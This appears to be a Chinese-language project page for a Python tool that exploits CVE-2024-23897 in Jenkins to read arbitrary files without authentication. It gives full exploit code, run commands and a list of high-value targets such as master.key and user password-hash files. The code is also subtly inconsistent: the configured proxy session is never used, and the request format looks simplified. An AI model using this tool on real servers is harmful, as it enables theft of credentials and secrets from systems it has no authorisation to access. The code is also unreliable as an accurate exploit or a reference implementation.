CVE-2024-23897 Jenkins 任意文件读取漏洞利用工具

3 阅读4分钟

CVE-2024-23897 Jenkins 文件读取漏洞利用工具

本项目提供了一个针对 Jenkins 严重漏洞 CVE-2024-23897 的完整利用工具。该漏洞源于 args4j 库对命令行参数中 @ 字符后跟文件路径的处理不当,允许未认证的攻击者读取 Jenkins 控制器文件系统上的任意文件。

功能特性

  • 交互式命令行界面:提供类似 Shell 的交互环境,方便多次文件读取操作
  • 单次文件读取模式:支持通过命令行参数直接指定目标文件路径
  • 代理支持:支持 HTTP/HTTPS 代理,便于通过 Burp Suite 等工具调试和分析流量
  • 文件保存功能:可将读取到的文件内容保存到本地,支持覆盖已存在文件
  • 超时控制:可配置请求超时时间,适应不同网络环境
  • 彩色输出界面:采用随机配色方案,提供更好的终端视觉体验
  • 多目标支持:支持对任意 Jenkins 实例进行测试

安装指南

系统要求

  • Python 3.6 或更高版本
  • 支持的操作系统:Windows / Linux / macOS

依赖项安装

pip install requests colorama

获取工具

git clone https://github.com/verylazytech/CVE-2024-23897
cd CVE-2024-23897

使用说明

基础用法

交互式 Shell 模式(推荐):

python3 CVE-2024-23897.py -u http://target-jenkins:8080

进入交互式终端后,直接输入要读取的文件路径即可:

File to read: /etc/passwd
File to read: /var/jenkins_home/secrets/master.key
File to read: exit

单次文件读取模式

python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd

高级选项

# 使用代理并保存结果
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -p http://127.0.0.1:8080 -s

# 覆盖已存在的保存文件
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -o

# 启用详细输出模式
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -v

# 设置超时时间(默认30秒)
python3 CVE-2024-23897.py -u http://target-jenkins:8080 -f /etc/passwd -t 60

参数说明

参数说明
-u, --url目标 Jenkins URL(必需)
-f, --file要读取的文件路径
-t, --timeout请求超时时间(秒)
-s, --save保存文件内容到本地
-o, --overwrite覆盖已存在的保存文件
-p, --proxyHTTP/HTTPS 代理地址
-v, --verbose启用详细输出

常见敏感文件路径

  • /proc/self/environ - 环境变量,包含 JENKINS_HOME 路径
  • /proc/self/cmdline - 命令行参数
  • /var/jenkins_home/users/users.xml - 用户账户存储位置
  • /var/jenkins_home/users/<user_directory>/config.xml - 用户 BCrypt 密码哈希
  • /var/jenkins_home/secrets/master.key - 加密密钥
  • /etc/hosts - Linux 本地 DNS 解析配置
  • /etc/passwd - Linux 用户账户信息

影响版本

  • Jenkins 版本 2.441 及以下
  • Jenkins LTS 版本 2.426.2 及以下

安全版本:Jenkins 2.442+ 和 Jenkins LTS 2.426.3+

核心代码

漏洞利用核心实现

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import argparse
from cmd import Cmd
import requests
import random
from colorama import Fore, Style

# 颜色配置
COLORS = [Fore.GREEN, Fore.CYAN, Fore.BLUE]

class File_Terminal(Cmd):
    """交互式文件读取终端"""
    
    intro = "Jenkins File Read Shell - Type 'help' for commands\n"
    prompt = "File to read: "
    
    def __init__(self, url, timeout, save, overwrite, verbose):
        super().__init__()
        self.url = url.rstrip('/')
        self.timeout = timeout
        self.save = save
        self.overwrite = overwrite
        self.verbose = verbose
    
    def default(self, filepath):
        """处理用户输入的文件路径"""
        if filepath.lower() in ['exit', 'quit']:
            return True
        
        try:
            # 构建漏洞利用请求
            # 核心原理:通过 @ 符号触发 args4j 文件读取
            data = f"@/{filepath}"
            
            response = requests.post(
                f"{self.url}/cli?remoting=false",
                data=data,
                headers={
                    'Content-Type': 'application/x-www-form-urlencoded'
                },
                timeout=self.timeout
            )
            
            if response.status_code == 200:
                content = response.text
                print(f"\n{Fore.GREEN}[+] 文件内容读取成功{Style.RESET_ALL}")
                print(content)
                
                # 保存文件功能
                if self.save:
                    filename = filepath.replace('/', '_') + '.txt'
                    mode = 'w' if self.overwrite else 'x'
                    with open(filename, mode) as f:
                        f.write(content)
                    print(f"{Fore.CYAN}[+] 已保存至: {filename}{Style.RESET_ALL}")
            else:
                print(f"{Fore.RED}[-] 读取失败: HTTP {response.status_code}{Style.RESET_ALL}")
                
        except requests.exceptions.Timeout:
            print(f"{Fore.RED}[-] 请求超时{Style.RESET_ALL}")
        except Exception as e:
            print(f"{Fore.RED}[-] 错误: {str(e)}{Style.RESET_ALL}")
        
        return False

命令行参数解析模块

def parse_arguments():
    """解析命令行参数"""
    parser = argparse.ArgumentParser(
        description='CVE-2024-23897 - Jenkins 任意文件读取漏洞利用工具'
    )
    
    parser.add_argument(
        '-u', '--url',
        required=True,
        help='目标 Jenkins URL (如: http://localhost:8080)'
    )
    
    parser.add_argument(
        '-f', '--file',
        help='要读取的文件路径(单次模式)'
    )
    
    parser.add_argument(
        '-t', '--timeout',
        type=int,
        default=30,
        help='请求超时时间(默认: 30秒)'
    )
    
    parser.add_argument(
        '-s', '--save',
        action='store_true',
        help='保存文件内容到本地'
    )
    
    parser.add_argument(
        '-o', '--overwrite',
        action='store_true',
        help='覆盖已存在的保存文件'
    )
    
    parser.add_argument(
        '-p', '--proxy',
        help='HTTP/HTTPS 代理 (如: http://127.0.0.1:8080)'
    )
    
    parser.add_argument(
        '-v', '--verbose',
        action='store_true',
        help='启用详细输出模式'
    )
    
    return parser.parse_args()

主程序入口

def main():
    """主程序入口"""
    args = parse_arguments()
    
    # 配置代理
    proxies = None
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy
        }
    
    # 配置全局 requests session
    session = requests.Session()
    session.proxies = proxies if proxies else {}
    session.verify = False  # 忽略 SSL 证书验证
    
    # 显示漏洞信息
    if args.verbose:
        print(f"{Fore.CYAN}[*] 目标: {args.url}{Style.RESET_ALL}")
        print(f"{Fore.CYAN}[*] 超时: {args.timeout}s{Style.RESET_ALL}")
        if args.proxy:
            print(f"{Fore.CYAN}[*] 代理: {args.proxy}{Style.RESET_ALL}")
    
    # 单次文件读取模式
    if args.file:
        terminal = File_Terminal(
            args.url, args.timeout, 
            args.save, args.overwrite, 
            args.verbose
        )
        terminal.onecmd(args.file)
    else:
        # 交互式 Shell 模式
        terminal = File_Terminal(
            args.url, args.timeout,
            args.save, args.overwrite,
            args.verbose
        )
        terminal.cmdloop()

if __name__ == "__main__":
    main()

免责声明:本工具仅用于安全研究和授权测试。未经授权使用本工具攻击目标系统属于违法行为,使用者需自行承担全部法律责任。开发者不对任何误用或造成的损害负责。 6HFtX5dABrKlqXeO5PUv/7KrUUWUFE9fK0I3AIVy9wc=